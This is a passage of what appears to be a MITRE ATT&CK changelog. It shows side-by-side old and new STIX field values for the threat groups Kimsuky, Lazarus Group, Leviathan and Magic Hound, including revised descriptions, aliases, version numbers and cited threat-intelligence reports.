| external_references[6]['url'] | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ | https://blog.alyac.co.kr/2234 |
| external_references[7]['source_name'] | Cybereason Kimsuky November 2020 | BRI Kimsuky April 2019 |
| external_references[7]['description'] | Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020. | BRI. (2019, April). Kimsuky unveils APT campaign 'Smoke Screen' aimed at Korea and America. Retrieved October 7, 2019. |
| external_references[7]['url'] | https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite | https://brica.de/alerts/alert/public/1255063/kimsuky-unveils-apt-campaign-smoke-screen-aimed-at-korea-and-america/ |
| external_references[8]['source_name'] | Securelist Kimsuky Sept 2013 | Cybereason Kimsuky November 2020 |
| external_references[8]['description'] | Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019. | Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020. |
| external_references[8]['url'] | https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/ | https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite |
| external_references[9]['source_name'] | Zdnet Kimsuky Dec 2018 | Malwarebytes Kimsuky June 2021 |
| external_references[9]['description'] | Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019. | Jazi, H. (2021, June 1). Kimsuky APT continues to target South Korean government using AppleSeed backdoor. Retrieved June 10, 2021. |
| external_references[9]['url'] | https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/ | https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/ |
| external_references[10]['source_name'] | ThreatConnect Kimsuky September 2020 | CISA AA20-301A Kimsuky |
| external_references[10]['description'] | ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020. | CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020. |
| external_references[10]['url'] | https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/ | https://us-cert.cisa.gov/ncas/alerts/aa20-301a |
| x_mitre_version | 2.0 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | STOLEN PENCIL | |
| external_references | {'source_name': 'Netscout Stolen Pencil Dec 2018', 'description': 'ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019.', 'url': 'https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/'} | |
| external_references | {'source_name': 'EST Kimsuky SmokeScreen April 2019', 'description': 'ESTSecurity. (2019, April 17). Analysis of the APT Campaign ‘Smoke Screen’ targeting to Korea and US 출처: https://blog.alyac.co.kr/2243 [이스트시큐리티 알약 블로그]. Retrieved September 29, 2021.', 'url': 'https://blog.alyac.co.kr/attachment/cfile5.uf@99A0CD415CB67E210DCEB3.pdf'} | |
| external_references | {'source_name': 'AhnLab Kimsuky Kabar Cobra Feb 2019', 'description': 'AhnLab. (2019, February 28). Operation Kabar Cobra - Tenacious cyber-espionage campaign by Kimsuky Group. Retrieved September 29, 2021.', 'url': 'https://global.ahnlab.com/global/upload/download/techreport/[Analysis_Report]Operation%20Kabar%20Cobra.pdf'} | |
| external_references | {'source_name': 'Securelist Kimsuky Sept 2013', 'description': 'Tarakanov , D.. (2013, September 11). The “Kimsuky” Operation: A North Korean APT?. Retrieved August 13, 2019.', 'url': 'https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/'} | |
| external_references | {'source_name': 'Zdnet Kimsuky Dec 2018', 'description': 'Cimpanu, C.. (2018, December 5). Cyber-espionage group uses Chrome extension to infect victims. Retrieved August 26, 2019.', 'url': 'https://www.zdnet.com/article/cyber-espionage-group-uses-chrome-extension-to-infect-victims/'} | |
| external_references | {'source_name': 'ThreatConnect Kimsuky September 2020', 'description': 'ThreatConnect. (2020, September 28). Kimsuky Phishing Operations Putting In Work. Retrieved October 30, 2020.', 'url': 'https://threatconnect.com/blog/kimsuky-phishing-operations-putting-in-work/'} |
Current version: 2.0
Version changed from: 1.5 → 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a | t | 1 | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a |
| > | threat group that has been attributed to the North Korean go | > | North Korean state-sponsored cyber threat group that has bee | ||
| > | vernment.(Citation: US-CERT HIDDEN COBRA June 2017) The grou | > | n attributed to the Reconnaissance General Bureau.(Citation: | ||
| > | p has been active since at least 2009 and was reportedly res | > | US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Ko | ||
| > | ponsible for the November 2014 destructive wiper attack agai | > | rean Cyber Groups September 2019) The group has been active | ||
| > | nst Sony Pictures Entertainment as part of a campaign named | > | since at least 2009 and was reportedly responsible for the N | ||
| > | Operation Blockbuster by Novetta. Malware used by [Lazarus G | > | ovember 2014 destructive wiper attack against Sony Pictures | ||
| > | roup](https://attack.mitre.org/groups/G0032) correlates to o | > | Entertainment as part of a campaign named Operation Blockbus | ||
| > | ther reported campaigns, including Operation Flame, Operatio | > | ter by Novetta. Malware used by [Lazarus Group](https://atta | ||
| > | n 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. | > | ck.mitre.org/groups/G0032) correlates to other reported camp | ||
| > | (Citation: Novetta Blockbuster) In late 2017, [Lazarus Grou | > | aigns, including Operation Flame, Operation 1Mission, Operat | ||
| > | p](https://attack.mitre.org/groups/G0032) used KillDisk, a d | > | ion Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novett | ||
| > | isk-wiping tool, in an attack against an online casino based | > | a Blockbuster) North Korean group definitions are known to | ||
| > | in Central America. (Citation: Lazarus KillDisk) North Kor | > | have significant overlap, and some security researchers repo | ||
| > | ean group definitions are known to have significant overlap, | > | rt all North Korean state-sponsored cyber activity under the | ||
| > | and the name [Lazarus Group](https://attack.mitre.org/group | > | name [Lazarus Group](https://attack.mitre.org/groups/G0032) | ||
| > | s/G0032) is known to encompass a broad range of activity. So | > | instead of tracking clusters or subgroups, such as [Andarie | ||
| > | me organizations use the name Lazarus Group to refer to any | > | l](https://attack.mitre.org/groups/G0138), [APT37](https://a | ||
| > | activity attributed to North Korea.(Citation: US-CERT HIDDEN | > | ttack.mitre.org/groups/G0067), [APT38](https://attack.mitre. | ||
| > | COBRA June 2017) Some organizations track North Korean clus | > | org/groups/G0082), and [Kimsuky](https://attack.mitre.org/gr | ||
| > | ters or groups such as Bluenoroff,(Citation: Kaspersky Lazar | > | oups/G0094). | ||
| > | us Under The Hood Blog 2017) [APT37](https://attack.mitre.or | ||||
| > | g/groups/G0067), and [APT38](https://attack.mitre.org/groups | ||||
| > | /G0082) separately, while other organizations may track some | ||||
| > | activity associated with those group names by the name Laza | ||||
| > | rus Group. | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-03-18 16:34:25.941000+00:00 | 2021-10-14 22:04:58.182000+00:00 |
| description | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk) North Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group. | [Lazarus Group](https://attack.mitre.org/groups/G0032) is a North Korean state-sponsored cyber threat group that has been attributed to the Reconnaissance General Bureau.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: Treasury North Korean Cyber Groups September 2019) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) North Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups, such as [Andariel](https://attack.mitre.org/groups/G0138), [APT37](https://attack.mitre.org/groups/G0067), [APT38](https://attack.mitre.org/groups/G0082), and [Kimsuky](https://attack.mitre.org/groups/G0094). |
| external_references[7]['source_name'] | Novetta Blockbuster | Treasury North Korean Cyber Groups September 2019 |
| external_references[7]['description'] | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. | US Treasury . (2019, September 13). Treasury Sanctions North Korean State-Sponsored Malicious Cyber Groups. Retrieved September 29, 2021. |
| external_references[7]['url'] | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf | https://home.treasury.gov/news/press-releases/sm774 |
| external_references[8]['source_name'] | Lazarus KillDisk | Novetta Blockbuster |
| external_references[8]['description'] | Kálnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018. | Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016. |
| external_references[8]['url'] | https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/ | https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf |
| external_references[9]['source_name'] | Kaspersky Lazarus Under The Hood Blog 2017 | US-CERT HOPLIGHT Apr 2019 |
| external_references[9]['description'] | GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019. | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. |
| external_references[9]['url'] | https://securelist.com/lazarus-under-the-hood/77908/ | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A |
| external_references[10]['source_name'] | US-CERT HOPLIGHT Apr 2019 | Microsoft ZINC disruption Dec 2017 |
| external_references[10]['description'] | US-CERT. (2019, April 10). MAR-10135536-8 – North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019. | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. |
| external_references[10]['url'] | https://www.us-cert.gov/ncas/analysis-reports/AR19-100A | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ |
| external_references[11]['source_name'] | Microsoft ZINC disruption Dec 2017 | Secureworks NICKEL ACADEMY Dec 2017 |
| external_references[11]['description'] | Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017. | Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017. |
| external_references[11]['url'] | https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/ | https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing |
| x_mitre_version | 1.5 | 2.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Secureworks NICKEL ACADEMY Dec 2017', 'description': 'Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.', 'url': 'https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing'} |
Current version: 3.0
Version changed from: 2.1 → 3.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Leviathan](https://attack.mitre.org/groups/G0065) is a cybe | t | 1 | [Leviathan](https://attack.mitre.org/groups/G0065) is a Chin |
| > | r espionage group that has been active since at least 2013. | > | ese state-sponsored cyber espionage group that has been attr | ||
| > | The group generally targets defense and government organizat | > | ibuted to the Ministry of State Security's (MSS) Hainan Stat | ||
| > | ions, but has also targeted a range of industries including | > | e Security Department and an affiliated front company.(Citat | ||
| > | engineering firms, shipping and transportation, manufacturin | > | ion: CISA AA21-200A APT40 July 2021) Active since at least 2 | ||
| > | g, defense, government offices, and research universities in | > | 009, [Leviathan](https://attack.mitre.org/groups/G0065) has | ||
| > | the United States, Western Europe, and along the South Chin | > | targeted the following sectors: academia, aerospace/aviation | ||
| > | a Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: | > | , biomedical, defense industrial base, government, healthcar | ||
| > | FireEye Periscope March 2018) | > | e, manufacturing, maritime, and transportation across the US | ||
| > | , Canada, Europe, the Middle East, and Southeast Asia.(Citat | ||||
| > | ion: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Le | ||||
| > | viathan Oct 2017)(Citation: FireEye Periscope March 2018) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets | |
| external_references | https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html | |
| external_references | https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-30 01:06:24.797000+00:00 | 2021-10-14 20:34:57.289000+00:00 |
| description | [Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018) | [Leviathan](https://attack.mitre.org/groups/G0065) is a Chinese state-sponsored cyber espionage group that has been attributed to the Ministry of State Security's (MSS) Hainan State Security Department and an affiliated front company.(Citation: CISA AA21-200A APT40 July 2021) Active since at least 2009, [Leviathan](https://attack.mitre.org/groups/G0065) has targeted the following sectors: academia, aerospace/aviation, biomedical, defense industrial base, government, healthcare, manufacturing, maritime, and transportation across the US, Canada, Europe, the Middle East, and Southeast Asia.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018) |
| external_references[2]['source_name'] | TEMP.Jumper | MUDCARP |
| external_references[2]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye APT40 March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Accenture MUDCARP March 2019) |
| external_references[3]['source_name'] | APT40 | Kryptonite Panda |
| external_references[3]['description'] | The group identified by Proofpoint as Leviathan appears to significantly overlap with FireEye's reporting on APT40. Additionally, FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)(Citation: Proofpoint Leviathan Oct 2017) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: Crowdstrike KRYPTONITE PANDA August 2018) |
| external_references[4]['source_name'] | TEMP.Periscope | Gadolinium |
| external_references[4]['description'] | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) | (Citation: CISA AA21-200A APT40 July 2021)(Citation: MSTIC GADOLINIUM September 2020) |
| external_references[5]['source_name'] | Proofpoint Leviathan Oct 2017 | BRONZE MOHAWK |
| external_references[5]['description'] | Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018. | (Citation: CISA AA21-200A APT40 July 2021)(Citation: SecureWorks BRONZE MOHAWK n.d.) |
| external_references[6]['source_name'] | FireEye Periscope March 2018 | TEMP.Jumper |
| external_references[6]['description'] | FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018. | Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye APT40 March 2019) |
| external_references[7]['source_name'] | FireEye APT40 March 2019 | APT40 |
| external_references[7]['description'] | Plan, F., et all. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019. | FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: CISA AA21-200A APT40 July 2021)(Citation: Proofpoint Leviathan Oct 2017)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019) |
| x_mitre_version | 2.1 | 3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| aliases | MUDCARP | |
| aliases | Kryptonite Panda | |
| aliases | Gadolinium | |
| aliases | BRONZE MOHAWK | |
| external_references | {'source_name': 'TEMP.Periscope', 'description': 'Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: CISA AA21-200A APT40 July 2021)(Citation: FireEye Periscope March 2018)(Citation: FireEye APT40 March 2019)'} | |
| external_references | {'source_name': 'CISA AA21-200A APT40 July 2021', 'description': 'CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department.. Retrieved August 12, 2021.', 'url': 'https://us-cert.cisa.gov/ncas/alerts/aa21-200a'} | |
| external_references | {'source_name': 'Proofpoint Leviathan Oct 2017', 'description': 'Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.', 'url': 'https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets'} | |
| external_references | {'source_name': 'FireEye Periscope March 2018', 'description': 'FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.', 'url': 'https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html'} | |
| external_references | {'source_name': 'Accenture MUDCARP March 2019', 'description': "Accenture iDefense Unit. (2019, March 5). Mudcarp's Focus on Submarine Technologies. Retrieved August 24, 2021.", 'url': 'https://www.accenture.com/us-en/blogs/cyber-defense/mudcarps-focus-on-submarine-technologies'} | |
| external_references | {'source_name': 'Crowdstrike KRYPTONITE PANDA August 2018', 'description': 'Adam Kozy. (2018, August 30). Two Birds, One Stone Panda. Retrieved August 24, 2021.', 'url': 'https://www.crowdstrike.com/blog/two-birds-one-stone-panda/'} | |
| external_references | {'source_name': 'MSTIC GADOLINIUM September 2020', 'description': 'Ben Koehl, Joe Hannon. (2020, September 24). Microsoft Security - Detecting Empires in the Cloud. Retrieved August 24, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/09/24/gadolinium-detecting-empires-cloud/'} | |
| external_references | {'source_name': 'SecureWorks BRONZE MOHAWK n.d.', 'description': 'SecureWorks. (n.d.). Threat Profile - BRONZE MOHAWK. Retrieved August 24, 2021.', 'url': 'https://www.secureworks.com/research/threat-profiles/bronze-mohawk'} | |
| external_references | {'source_name': 'FireEye APT40 March 2019', 'description': 'Plan, F., et al. (2019, March 4). APT40: Examining a China-Nexus Espionage Actor. Retrieved March 18, 2019.', 'url': 'https://www.fireeye.com/blog/threat-research/2019/03/apt40-examining-a-china-nexus-espionage-actor.html'} |
Current version: 4.0
Version changed from: 3.0 → 4.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I | t | 1 | [Magic Hound](https://attack.mitre.org/groups/G0059) is an I |
| > | ranian-sponsored threat group that conducts long term, resou | > | ranian-sponsored threat group that conducts long term, resou | ||
| > | rce-intensive cyber espionage operations, dating back as ear | > | rce-intensive cyber espionage operations, likely on behalf o | ||
| > | ly as 2014. The group typically targets U.S. and Middle East | > | f the Islamic Revolutionary Guard Corps. They have targeted | ||
| > | ern military organizations, as well as other government pers | > | U.S. and Middle Eastern government and military personnel, a | ||
| > | onnel, via complex social engineering campaigns.(Citation: F | > | cademics, journalists, and organizations such as the World H | ||
| > | ireEye APT35 2018) | > | ealth Organization (WHO), via complex social engineering cam | ||
| > | paigns since at least 2014.(Citation: FireEye APT35 2018)(Ci | ||||
| > | tation: ClearSky Kittens Back 3 August 2020)(Citation: Certf | ||||
| > | a Charming Kitten January 2021)(Citation: Secureworks COBALT | ||||
| > | ILLUSION Threat Profile)(Citation: Proofpoint TA453 July202 | ||||
| > | 1) | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2021-04-25 22:34:23.617000+00:00 | 2021-10-04 13:12:54.646000+00:00 |
| description | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, dating back as early as 2014. The group typically targets U.S. and Middle Eastern military organizations, as well as other government personnel, via complex social engineering campaigns.(Citation: FireEye APT35 2018) | [Magic Hound](https://attack.mitre.org/groups/G0059) is an Iranian-sponsored threat group that conducts long term, resource-intensive cyber espionage operations, likely on behalf of the Islamic Revolutionary Guard Corps. They have targeted U.S. and Middle Eastern government and military personnel, academics, journalists, and organizations such as the World Health Organization (WHO), via complex social engineering campaigns since at least 2014.(Citation: FireEye APT35 2018)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Certfa Charming Kitten January 2021)(Citation: Secureworks COBALT ILLUSION Threat Profile)(Citation: Proofpoint TA453 July2021) |
| external_references[2]['source_name'] | COBALT ILLUSION | TA453 |
| external_references[2]['description'] | (Citation: Secureworks COBALT ILLUSION Threat Profile) | (Citation: Proofpoint TA453 March 2021)(Citation: Proofpoint TA453 July2021) |
| external_references[3]['source_name'] | Charming Kitten | COBALT ILLUSION |
| external_references[3]['description'] | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020) | (Citation: Secureworks COBALT ILLUSION Threat Profile) |
| external_references[4]['source_name'] | ITG18 | Charming Kitten |
| external_references[4]['description'] | (Citation: IBM ITG18 2020) | (Citation: ClearSky Charming Kitten Dec 2017)(Citation: Eweek Newscaster and Charming Kitten May 2014)(Citation: ClearSky Kittens Back 2 Oct 2019)(Citation: ClearSky Kittens Back 3 August 2020)(Citation: Proofpoint TA453 March 2021) |
| external_references[5]['source_name'] | Phosphorus | ITG18 |
| external_references[5]['description'] | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019) | (Citation: IBM ITG18 2020) |
| external_references[6]['source_name'] | Newscaster | Phosphorus |
| external_references[6]['description'] | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) | (Citation: Microsoft Phosphorus Mar 2019)(Citation: Microsoft Phosphorus Oct 2020)(Citation: US District Court of DC Phosphorus Complaint 2019)(Citation: Certfa Charming Kitten January 2021)(Citation: Proofpoint TA453 March 2021) |
| external_references[7]['source_name'] | APT35 | Newscaster |
| external_references[7]['description'] | (Citation: FireEye APT35 2018) | Link analysis of infrastructure and tools revealed a potential relationship between Magic Hound and the older attack campaign called Newscaster (aka Newscasters).(Citation: Unit 42 Magic Hound Feb 2017)(Citation: FireEye APT35 2018) |
| external_references[8]['source_name'] | FireEye APT35 2018 | APT35 |
| external_references[8]['description'] | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. | (Citation: FireEye APT35 2018)(Citation: Certfa Charming Kitten January 2021) |
| external_references[9]['source_name'] | Unit 42 Magic Hound Feb 2017 | FireEye APT35 2018 |
| external_references[9]['description'] | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. | Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018. |
| external_references[9]['url'] | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ | https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf |
| external_references[10]['source_name'] | Secureworks COBALT ILLUSION Threat Profile | ClearSky Kittens Back 3 August 2020 |
| external_references[10]['description'] | Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021. | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. |
| external_references[10]['url'] | https://www.secureworks.com/research/threat-profiles/cobalt-illusion | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf |
| external_references[11]['source_name'] | ClearSky Charming Kitten Dec 2017 | Certfa Charming Kitten January 2021 |
| external_references[11]['description'] | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. | Certfa Labs. (2021, January 8). Charming Kitten’s Christmas Gift. Retrieved May 3, 2021. |
| external_references[11]['url'] | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf | https://blog.certfa.com/posts/charming-kitten-christmas-gift/ |
| external_references[12]['source_name'] | Eweek Newscaster and Charming Kitten May 2014 | Secureworks COBALT ILLUSION Threat Profile |
| external_references[12]['description'] | Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021. | Secureworks. (n.d.). COBALT ILLUSION Threat Profile. Retrieved April 14, 2021. |
| external_references[12]['url'] | https://www.eweek.com/security/newscaster-threat-uses-social-media-for-intelligence-gathering | https://www.secureworks.com/research/threat-profiles/cobalt-illusion |
| external_references[13]['source_name'] | ClearSky Kittens Back 2 Oct 2019 | Proofpoint TA453 July2021 |
| external_references[13]['description'] | ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021. | Miller, J. et al. (2021, July 13). Operation SpoofedScholars: A Conversation with TA453. Retrieved August 18, 2021. |
| external_references[13]['url'] | https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf | https://www.proofpoint.com/us/blog/threat-insight/operation-spoofedscholars-conversation-ta453 |
| external_references[14]['source_name'] | ClearSky Kittens Back 3 August 2020 | Unit 42 Magic Hound Feb 2017 |
| external_references[14]['description'] | ClearSky Research Team. (2020, August 1). The Kittens Are Back in Town 3 - Charming Kitten Campaign Evolved and Deploying Spear-Phishing link by WhatsApp. Retrieved April 21, 2021. | Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. Retrieved December 27, 2017. |
| external_references[14]['url'] | https://www.clearskysec.com/wp-content/uploads/2020/08/The-Kittens-are-Back-in-Town-3.pdf | https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/ |
| external_references[15]['source_name'] | IBM ITG18 2020 | Proofpoint TA453 March 2021 |
| external_references[15]['description'] | Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021. | Miller, J. et al. (2021, March 30). BadBlood: TA453 Targets US and Israeli Medical Research Personnel in Credential Phishing Campaigns. Retrieved May 4, 2021. |
| external_references[15]['url'] | https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/ | https://www.proofpoint.com/us/blog/threat-insight/badblood-ta453-targets-us-and-israeli-medical-research-personnel-credential |
| external_references[16]['source_name'] | Microsoft Phosphorus Mar 2019 | ClearSky Charming Kitten Dec 2017 |
| external_references[16]['description'] | Burt, T.. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020. | ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017. |
| external_references[16]['url'] | https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/ | http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf |
| external_references[17]['source_name'] | Microsoft Phosphorus Oct 2020 | Eweek Newscaster and Charming Kitten May 2014 |
| external_references[17]['description'] | Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021. | Kerner, S. (2014, May 29). Newscaster Threat Uses Social Media for Intelligence Gathering. Retrieved April 14, 2021. |
